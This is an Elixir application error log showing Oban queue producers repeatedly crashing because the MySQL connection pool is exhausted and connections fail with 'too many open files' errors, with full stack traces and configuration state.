[Sun Sep  6 00:14:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:14:39.239086Z], limit: 5, uuid: "12de2123-8544-4732-b026-8165adaa882d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:39.239091Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.168898>, refresh_timer: #Reference<0.2525715032.1099431938.52719>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:52.941000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:54.110000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:54.598000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:54.932000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:02.970000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1068ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:14:51.239661Z], limit: 10, uuid: "c2123fe6-a44e-493c-a25d-76485986bcf4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:51.239665Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.169328>, refresh_timer: #Reference<0.2525715032.1121189889.169310>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:14:51.241732Z], limit: 5, uuid: "4d5606d7-a50a-4b10-b336-832a63c4c10c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:51.241738Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.29558>, refresh_timer: #Reference<0.2525715032.1077673987.29557>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:14:51.238933Z], limit: 20, uuid: "f7b5532d-1024-4155-8550-d7072eae431c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:51.238940Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.169327>, refresh_timer: #Reference<0.2525715032.1121189889.169286>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:03.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 887ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:14:51.239981Z], limit: 50, uuid: "30090a88-14bf-498c-bb02-c81b6e1b61f3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:51.239987Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.52876>, refresh_timer: #Reference<0.2525715032.1068498948.51485>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:14:51.238907Z], limit: 3, uuid: "791041f7-148d-4257-8a2e-fa1b7ca99256", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:51.238913Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.169329>, refresh_timer: #Reference<0.2525715032.1121189889.169283>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:03.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:14:51.240524Z], limit: 5, uuid: "0de4d5f1-4098-468e-a0bb-0040056c68a1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:51.240530Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.52875>, refresh_timer: #Reference<0.2525715032.1099431938.52862>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:06.486000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:07.417000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:08.465000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:08.902000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:11.474000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:13.428000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:13.719000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:15:03.238170Z], limit: 5, uuid: "0a1b57fa-f36c-4e18-a9b0-172cd30c87f4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:03.238177Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.169645>, refresh_timer: #Reference<0.2525715032.1077673987.29707>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
